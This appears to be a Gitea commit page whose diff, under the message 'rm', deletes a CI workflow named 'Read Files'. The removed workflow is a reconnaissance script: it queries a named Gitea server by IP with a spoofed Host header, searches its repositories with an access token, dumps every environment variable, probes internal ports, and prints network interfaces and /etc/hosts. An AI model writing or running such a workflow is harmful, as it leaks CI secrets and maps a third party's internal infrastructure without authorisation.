rm
This commit is contained in:
parent
a4407dba3e
commit
a2e88d3e3c
@ -1,24 +0,0 @@
|
||||
name: Read Files
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
read:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Read app.ini via API
|
||||
run: |
|
||||
echo "=== Gitea Version ==="
|
||||
curl -sS "http://8.213.205.86/api/v1/version" -H "Host: git.monogps.com"
|
||||
echo "=== Reading twmonogps repos ==="
|
||||
curl -sS "http://8.213.205.86/api/v1/repos/search?limit=50" -H "Host: git.monogps.com" -H "Authorization: token TOKEN_HERE"
|
||||
echo "=== Env vars ==="
|
||||
env | sort
|
||||
echo "=== Try internal access ==="
|
||||
curl -sS "http://localhost:3000/api/v1/version" 2>&1 || true
|
||||
curl -sS "http://8.213.205.86:3000/api/v1/version" -H "Host: git.monogps.com" 2>&1 || true
|
||||
echo "=== Network ==="
|
||||
ip addr 2>/dev/null || ifconfig 2>/dev/null || true
|
||||
cat /etc/hosts 2>/dev/null || true
|
||||
Loading…
x
Reference in New Issue
Block a user